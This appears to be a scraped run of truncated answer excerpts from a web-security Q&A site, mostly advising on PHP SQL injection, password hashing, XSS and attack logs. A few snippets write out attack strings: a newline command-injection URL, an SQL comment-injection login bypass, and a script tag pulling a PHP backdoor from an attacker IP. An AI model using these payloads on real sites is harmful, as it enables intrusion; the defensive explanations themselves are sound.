First, regarding what you have tried already:
This will fail for a number of reasons:
This a client-level control that doesn't stop anyone from making requests to your endpoint anyway. This is, in fact, a flag for CORS in a browser, and isn't actually relevant to your use case. It would not ...
To be awfully honest, this function is just an arbitrary collection of more or less useless or harmful and sometimes even contradicting procedures, most of which has nothing to do with security at all. Now to the most important part.
For prevent my website from sql injection i always use $db->real_esacpe_string()
Which is what you are ...
Generally, SQL Injections happens when an unsanitized variable is used within a query, regardless of whether there is an apostrophe or not.
In PHP you want to use prepared statements. This will transform your query into:
$sql = "UPDATE `users` SET
`user_age` = ?,
`user_sex` = ?,
`user_description` = ?,
`user_sound` = ?,
Presuming that prepared queries are easy to use and don't cause performance issues here, then you should just use prepared queries. All else being equal, I prefer to do things the secure way by default. In other words, instead of asking "Should I do this the secure way?" (which is what you are asking) try approaching from the opposite perspective: "Is ...
There is no binary answer to be 'GDPR compliant'. There are however some steps you can take to be compliant to some extend. Key element to the GDPR is that you need either explicit permission from your users (or visitors) to collect, store and use their data or another legal basis (such as required by law). The request to use their data must use clear ...
At least, the newline is not escaped, so, you can bypass it via /index.php?arg=%0Als (it should list all files from the current directory).
Also, there is a possibility to get a Full Path Disclosure passing arg as an array (/index.php?arg=1).
You are correct this implementation of constant-time string comparison will leak information about the length of some string that is being compared against an attacker controlled string.
However, if this is checking strings for authentication purposes, you never should be comparing raw strings. You would first hash (preferably with a salted key-...
If this can be considered an attack, how can one protect his website from such forged headers?
Forging requests that take a long time to process on the server is a common technique for a Denial-Of-Service (DOS) attack. This is why you always sanitise your input. Not just POST and GET values, but also the headers if you use them.
For the ...
Step one is to never store the password in the webroot. You allready got that covered. Good!
Step two is to not store the password in PHP code. Your code base should be free of secrets, be it in class constants or anything else. That let's you commit it to version control, make backups, share it, etc., without second thought.
Keeping the secrets out of the ...
The assert function will be called with one static parameter, the string is_string($entityId).
Thanks to the usage of single quotes, $entityId won't be interpolated, so an attacker won't be able to execute any PHP code.
In mysql you need a white space after comment marker. Just put one whitespace character after --.
select * from users where login='admin' -- now you can add comment
Generally add trash character after the whitespace against trim function. Like;
admin' -- xx
The editor is great for usability, but it should really be ignored when taking about security against XSS.
It's the sanitizer running on the server that needs to take care of ensuring security of injected HTML. No amount of fiddling in the browser is going to completely protect the user against unsanitized input if you need to mix in HTML (OTOH, if you just ...
Your idea on the domains is rather wrong. You need to understand one essential thing about a web server.
There is no such thing like "an access from a domain". It is not a "software" which is sending requests to endpoints but a client (which is usually a browser). A client may read some information from your server first, but it's unnecessary.
Long story ...
A few points:
Passwords should be hashed, not encrypted. Encryption is reversible; somebody who shouldn't have access but can see the app's source code can find the encrypted password and its encryption key, decrypt the password, and thereby gain access. Hashes are one-way; you can't turn a hash digest back into the text that was hashed.
You'll ideally ...
Just isolating filesystem access is not enough by itself to protect the rest of the system, and it's also notoriously hard to do right (chroot can be pretty easily escaped, SELinux is a pain in the arse to set up, etc). Among other potential means of attack you have:
IPC objects (semaphores, POSIX message queues, signals, etc). There's no easy way to ...
This is trying to exploit a remote code execution vulnerability in ThinkPHP. So yes, someone is attempting to attack.
Yes, although this specific one is specific for ThinkPHP, there are also regularly vulnerabilities for Django
Yes, this is very common for web apps. This is not the only type of request to attack and a succesful attacker might change the log ...
For passwords, bcrypt is a much better option that SHA-3. SHA-3 and bcrypt serve different purposes. BCrypt is a Key-Derivation Function, while SHA-3 is a regular hash. KDFs are deliberately more computationally intensive than standard has functions. The slower a hashing function is, the longer it takes to crack. This helps protect against offline attacks ...
Unsalted SHA3 is a terrible choise for password hashing. Go with bcrypt instead.
First, you want password hash functions to be slow so that brute forcing is slow. Bcrypt is designed to be slow. SHA3 is designed to be fast.
Second, you always want to use a salt. The salt forces the attacker to attack one password at a time instead of all at once. You want ...
I found out the answer from someone else. The error response with the link to ThinkPhp was the hint, the website was built using the ThinkPhP cms/framework.
A google search of ThinkPhp vulnerabilities shows that you can execute shell commands through the URL of the form
Because when you do this <"script src="ATTACKING IP:PORT443/phpbackdoor.php"></script>
Yes, this is an SQL injection attack but I noticed something.
In hexadecimal text:
6461726b31636f6465=dark1code, 6461726b32636f6465=dark2code, and so on.
I have also noticed the number 6461726b32636f6465 and 2121121121212.1 used together as 0x6461726b31636f6465--2121121121212.1 which is dark1code!!!!.
If you search for 0x6461726b31636f6465--...
Lots of good info in the other answers which include a lot of could happen reality and should be taken serious.
Not sure of your hosting setup, but let's say you're on whm server with other accounts and the function is used to get the content of /etc/passwd which includes lines like this for users on the system:
Even now it seems to carry danger because of how PHP is still processing script from the 1st occurence of found file. So why did they keep the default as ;cgi.fix_pathinfo=1 then?
Because CGI is independent of PHP and have its own standard. CGI (Common Gateway Interface) is an interface that instructs the server on how to communicate data with applications, ...
I have personally come across this code just recently. I will try to write out what I remember and update as things come back to me. I will add the code and write in comments as I go.
//Turn off logging so that any errors don't catch peoples attention
//Set execution time low so that any endless loops ...
No, PHP code is always at least some part readable ASCII.
Typical obfuscation methods are to decode a piece of code and run that:
But you would still see a PHP function name after <?php.
It sounds like you, as many before you have done, are trying to make it so only an "authorized" client can access your online API (presumably a web service). This, as you suspected, is impossible. You can take many steps to make it harder for somebody to write a functional unauthorized client (obfuscation, encrypting the tokens locally, blocking the use of ...
There are a couple of (possible) issues:
Everything that doesn't come from GET/POST is still a danger (possible sources may be files, emails, databases, etc).
SQL queries where you need to remove the quote or don't need a quote in the first place (eg in LIMIT, for id values (eg SELECT from x WHERE id = $_GET['x'])) or further transform the input (eg in IN).
Looks like your situation is quite unique, as, according to this answer, most web-servers won't let you to send 25000 fake languages, but only rather something around 2500.
Given your code is not optimal and having it changed this way
$supportedLocales = array_fill_keys($supportedLocales, 1);
foreach($userLangs as $lang)